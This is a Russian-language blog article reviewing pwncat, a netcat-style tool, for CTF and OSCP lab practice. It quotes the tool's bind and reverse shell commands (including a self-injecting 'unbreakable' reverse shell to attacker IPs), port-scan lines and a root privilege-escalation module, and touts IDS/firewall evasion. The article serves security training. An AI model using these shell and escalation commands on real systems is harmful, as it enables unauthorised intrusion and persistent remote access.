PWNCAT – Netcat на Стероидах

В данной статье мы хотели показать Вам очень удобный, на мой личный взгляд, незаменимый и удобный инструмент под названием pwncat.

Это изображение имеет пустой атрибут alt; его имя файла - pwncat.png

По нашим предыдущим статьям по получению бек-коннекта до уязвимого хоста Вы уже знаете, что такое реверс-шел (Reverse shell), как его можно использовать мы так же описывали в ряде статей в части CTF-тасков.

Но когда ты каждый день используешь связку проброса бек-коннекта любым из описанных в статье выше по ссылке, нам еще нужно получить удобную интерактивную оболочку TTY а если возникает вопрос передачи файлов на эксплуатируемую систему, к примеру сплоита ядра, а на системе нет компилятора gcc/cc и тем более wget или curl запрещены, возникает головная боль и построение “костылей” через логи веб-сервиса если он есть или иным другим способом для того, чтобы собрать на стороне хоста эксплоит, не говоря уже о необходимости поиска вариантов эскалаций привилегий средствами LPE.sh или LinPEAS.sh.

Не так давно, в процессе решения очередных CTF-тасков я открыл для себя удивительный инструмент под названием pwncat.

Это изображение имеет пустой атрибут alt; его имя файла - pwncat_integrations.png

 

Чем же он примечателен спросите Вы? Приготовьтесь и держите штаны, вот Вам скриншот решения одной из BIG5 машин в PWK лаборатории на сертификацию OSCP, в одном скрине, эксплуатация уязвимости, сессия, поиск привеска, привеск, рут:

PWNCAT - Netcat на Стероидах

Официальное описание приложения от разработчиков:

Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic.

Обход фаерволов, IDS/IPS систем, поддерживает бинд и реверс шелы, автоинъекция (так называемый не убиваемый шелл), порт форвардинг. В добавок ко всему этому от себя хочу заметить, что реализована одна на мой взгляд крутая вещь, как возможность использования сочетания клавиш Ctrl+C, использование которых в простом реверсе приводит к обрыву сессии. Так же при использовании pwncat работает клавиша Esc в текстовых редакторах vi/vim. Вспомните себя, года получив шелл, Вы нашли суидник (SUID) или конфиг с мисконфигом с правом записи под обычным пользователем или даже под wwwdata и Вам нужно просто внести простое изменение, что зачастую не дает спокойно править конфиги или например работать с ключами и вариант с echo "data" > file не поможет, т.к. править нужно конкретный участок кода или наоборот удалить часть. Даже был недавно случай, когда при отсутствии редактора nano на Linux хосте пришлось править конфиг vim пользователя чтобы сменить сочетание клавиш выхода для того, чтобы просто отредактировать кусок кода. Так тут это работает, но это не самое интересное… На гитхабе есть сравнительная таблица 4-х слушателей:

Featurepwncatnetcatncatsocat
Scripting engine✔ Python✔ Lua
     
IP ToS
IPv4
IPv6
Unix domain sockets
Linux vsock
Socket source bind
     
TCP
UDP
SCTP
SSL
HTTP
HTTPS*
     
Telnet negotiation
Proxy support
Local port forward
Remote port forward
     
Inbound port scan
Outbound port scan
Version detection
     
Chat
Command execution
Hex dump*
Broker
Simultaneous conns
Allow/deny
Re-accept
Self-injecting
UDP reverse shell
Respawning client
Port hopping
Emergency shutdown
* Feature is currently under development. что означает, что продукт в стадии разработки или реализации

Inject to target

// [1] If you found a vulnerability on the target to start a very simple reverse shell,
// such as via bash, php, perl, python, nc or similar, you can instruct your local
// pwncat listener to use this connection to deploy itself on the target automatically
// and start an additional unbreakable reverse shell back to you.
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445
[1] Read in more detail about self-injection

Summon shells

// Bind shell (accepts new clients after disconnect)
pwncat -l -e '/bin/bash' 8080 -k
// Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
// Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1

Но и это еще не все. У него есть встроенный порт сканер. Очень часто возникает вопрос в сканировании портов, на хосте нет Nmap и к тому же он требует привилегий рута для запуска всех нужных нам фишек.

 

Port scan

// [TCP] IPv4 + IPv6
pwncat -z 10.0.0.1 80,443,8080
pwncat -z 10.0.0.1 1-65535
pwncat -z 10.0.0.1 1+1023
// [UDP] IPv4 + IPv6
pwncat -z 10.0.0.1 80,443,8080 -u
pwncat -z 10.0.0.1 1-65535 -u
pwncat -z 10.0.0.1 1+1023 -u
// Use only IPv6 or IPv4
pwncat -z 10.0.0.1 1-65535 -4
pwncat -z 10.0.0.1 1-65535 -6 -u
// Add version detection
pwncat -z 10.0.0.1 1-65535 --banner

Самая бомбическая фишка этой тулзы – это upload и download файлов с локального хоста на удаленный без использования curl/wget/scp и тп.

Устанавливается довольно просто, но есть зависимости:

https://github.com/calebstewart/pwncat

pip install git+https://github.com/calebstewart/pwncat.git

или

python setup.py install
python3 -m venv pwncat-env
source pwncat-env/bin/activate
python setup.py install sudo pip3 install -U git+https://github.com/calebstewart/paramiko //Основные функции, которые понадобятся на первое время pwncat -l -p 4444
pwncat -l -p 4444 --self-inject /bin/bash:192.168.119.203:4445
ctrl+D
privesc -l
privesc -e -u root

Вот пример использования утилиты:

Вот рассуждение плюсов бандла (Eng)

Ну и где можно бесплатно и без вреда использовать данную утилиту и автоматически решить CTF-машину – так это сервис TryHackMe который рекомендую новичкам и всем, кому нужна практика, машины которые Вы можете рутануть при помощи встроенного модуля privesc:

PWNCAT - Netcat на Стероидах

В целом очень крутая и удобная вещь, я раз и на всегда забыл про rlwrap или простой nc- lnvp. Пробуйте, не используйте во вред или для незаконных действий и да прибудет с Вами сила…

Tagged with: